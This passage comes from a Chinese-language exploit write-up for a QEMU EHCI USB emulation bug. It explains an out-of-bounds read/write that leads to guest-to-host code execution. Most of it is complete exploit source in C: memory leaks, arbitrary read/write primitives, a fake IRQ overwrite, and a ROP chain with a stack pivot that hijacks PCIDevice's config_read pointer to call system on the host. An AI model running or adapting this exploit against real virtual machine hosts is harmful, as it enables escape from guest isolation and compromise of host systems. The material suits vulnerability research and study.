mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;
}
void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
void set_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}
void init_state(){
reset_enable_port();
set_qh();
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
*entry = virt2phys(qh)+0x2;
set_EHCIState();
}
void set_length(uint16_t len,uint8_t option){
reset_enable_port();
set_qh();
setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
set_EHCIState();
}
void do_copy_read(){
reset_enable_port();
set_qh();
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){
reset_enable_port();
set_qh();
*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void setup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}
int main()
{
init();
iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);
init_state();
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read
struct USBDevice* usb_device_tmp = data_buf + 0x4;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
USBPort_addr = dev_addr + 0x78;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
printf("USBPort_addr: 0x%llx\n", USBPort_addr);
uint64_t *tmp=dmabuf+0x24f4+8;
long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}
long long base = leak_addr - 0xc40d90;
uint64_t system_plt = base + 0x290D30;
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
unsigned long USBPort_ptr = arb_read(USBPort_addr);
unsigned long EHCIState_addr = USBPort_ptr - 0x540;
unsigned long irq_addr = EHCIState_addr + 0xc0;
unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc;
unsigned long irq_ptr = arb_read(irq_addr);
printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);
printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);
printf("irq_addr: 0x%llx\n", irq_addr);
printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);
printf("irq_ptr: 0x%llx\n", irq_ptr);
// construct fake_irq
setup_state_data();
*(unsigned long *)(data_buf + 0x28) = system_plt; // handler
*(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque
*(unsigned long *)(data_buf + 0x38) = 0x3; //n
*(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc"
do_copy_write(0, 0xffff, 0xffff);
// write fake_irq
arb_write(irq_addr, fake_irq_addr);
// write back irq_ptr
arb_write(irq_addr, irq_ptr);
//printf("success233!\n");
};
运行效果图:
漏洞利用二
利用思路参考https://isc.360.com/2020/detail.html?vid=108&id=17
该思路需要qemu启动时加载qxl-vga设备,配置见上面的环境搭建。
(1)通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。
(2)利用任意读泄露 data_buf后面的内存数据,遍历查找“qxl-vga”字符串找到PCIDevice->name的地址,减去偏移得到PCIDevice结构体地址。
struct PCIDevice {
…………
PCIReqIDCache requester_id_cache;
char name[64]; // ->保存设备的名字,"qxl-vga"
PCIIORegion io_regions[PCI_NUM_REGIONS];
AddressSpace bus_master_as;
MemoryRegion bus_master_container_region;
MemoryRegion bus_master_enable_region;
/* do not access the following fields */
PCIConfigReadFunc *config_read;
PCIConfigWriteFunc *config_write;
/* Legacy PCI VGA regions */
MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS];
bool has_vga;
…………
};
(3)利用任意写,可以修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system("lspci"))就可以触发config_read保存的函数指针,实际上是调用pci_default_read_config函数。将函数指针修改成system@plt地址,就可以调用system函数。
(4)到第(3)步就可以控制rip,但是传参有些问题,调用函数指针在pci_host_config_read_common函数中:
uint32_t pci_host_config_read_common(PCIDevice *pci_dev, uint32_t addr,
uint32_t limit, uint32_t len)
{
uint32_t ret;
pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);// <-------
if (limit <= addr) {
return ~0x0;
}
assert(len <= 4);
/* non-zero functions are only exposed when function 0 is present,
* allowing direct removal of unexposed functions.
*/
if (pci_dev->qdev.hotplugged && !pci_get_function_0(pci_dev)) {
return ~0x0;
}
ret = pci_dev->config_read(pci_dev, addr, MIN(len, limit - addr));
trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn),
PCI_FUNC(pci_dev->devfn), addr, ret);
return ret;
}
此时将payload写入pci_dev中,但pci_adjust_config_limit(pci_get_bus(pci_dev), &limit); 这句会调用到object_dynamic_cast_assert。
pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);
->
770 Object *object_dynamic_cast_assert(Object *obj, const char *typename,
771 const char *file, int line, const char *func)
772 {
► 773 trace_object_dynamic_cast_assert(obj ? obj->class->type->name : "(null)",
774 typename, file, line, func);
775
object_dynamic_cast_assert里面有个寻址操作,因为我们覆盖了class为payload,所以寻址失败,导致崩溃。
pwndbg> p/x *(struct PCIDevice *)0x55ba7a7befd0
$14 = {
qdev = {
parent_obj = {
class = 0x636c616378,
free = 0x7f29c95305c0,
到这里,传参这部分没有得到解决,想着泄露libc地址,覆盖rip为one_gadget,但本地环境没有满足条件的one_gadget,所以转而使用rop 链进行利用。
首先覆盖rip为0xdeadbeef, 观察寄存器,之前我们覆盖rdi为"xcalc"字符串地址失败是因为之前有寻址操作。
但是我们可以看到rax保存的是堆地址,所以第一步就是进行栈切换,将rsp切换到堆上。但笔者编译的qemu程序没有直接"xchg rax, rsp; ret;"这种gadget,但找到了:
xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
可以将rax的值给rbp后,再通过leave指令(相当于mov rsp, rbp; pop rbp;),间接将rax的值赋给rsp,完成栈切换。之后的的rop链就没有什么障碍:
new rsp ===> [0x00] : pop rax; ret;
[0x08] : system@plt
[0x10] : pop rdi; ret;
/-- [0x18] : rsp+0x30
| [0x20] : sub al, 0; call rax;
| [0x28] :
|-> [0x30] : "xcalc"
完成利用。
exp代码:
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;
#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present
phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void init(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;
}
void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
void set_EHCIState(){
//printf("set_EHCIState~\n");
//getchar();
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}
void init_state(){
reset_enable_port();
set_qh();
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
*entry = virt2phys(qh)+0x2;
set_EHCIState();
}
void set_length(uint16_t len,uint8_t option){
reset_enable_port();
set_qh();
setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
set_EHCIState();
}
void do_copy_read(){
reset_enable_port();
set_qh();
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){
reset_enable_port();
set_qh();
*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002;
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void setup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}
int main()
{
init();
iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);
init_state();
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read
struct USBDevice* usb_device_tmp=dmabuf+0x2004;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
uint64_t *tmp=dmabuf+0x24f4+8;
long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}
long long base = leak_addr - 0xc40d90;
uint64_t system_plt = base + 0x290D30;
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
unsigned long search_start_addr = data_buf_addr + 0x5500;
arb_read(search_start_addr);
char *mask = "qxl-vga\0";
unsigned long find = memmem(data_buf, 0x1f00, mask, 0x8);
unsigned long offset = (find&0xffffffff) - ((unsigned long)(data_buf)&0xffffffff) + 0x5500;
unsigned long config_read_addr = data_buf_addr + offset + 0x390;
unsigned long pci_dev = config_read_addr - 0x450;
printf("config_read_addr: 0x%llx\n", config_read_addr);
printf("pci_dev: 0x%llx\n", pci_dev);
unsigned long pci_dev_content = arb_read(pci_dev);
//unsigned long rop_start = base + 0x2c3950;
unsigned long rop_start = base + 0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
printf("pci_dev_content: 0x%llx\n", pci_dev_content);
printf("rop_start: 0x%llx\n", rop_start);
//unsigned long al = (((rop_start&0xff00)>>8) + (pci_dev&0xff))&0xff;
unsigned long rsp = pci_dev + 0x8; // leave -> mov rsp, rbp; pop rbp;
printf("new rsp: 0x%llx\n", rsp);
unsigned long pop_rax = base + 0x523519; // pop rax; ret;
unsigned long pop_rdi = base + 0x3b51e5; // pop rdi; ret;
unsigned long call_rax = base + 0x71bd09; // sub al, 0; call rax;
arb_write(rsp, pop_rax);
arb_write(rsp+8, system_plt);
arb_write(rsp+0x10, pop_rdi);
arb_write(rsp+0x18, rsp+0x30);
arb_write(rsp+0x20, call_rax);
arb_write(rsp+0x30, 0x636c616378);
//getchar();
arb_write(config_read_addr, rop_start);
system("lspci");
};
运行效果图:
参考链接
https://www.freebuf.com/vuls/247829.html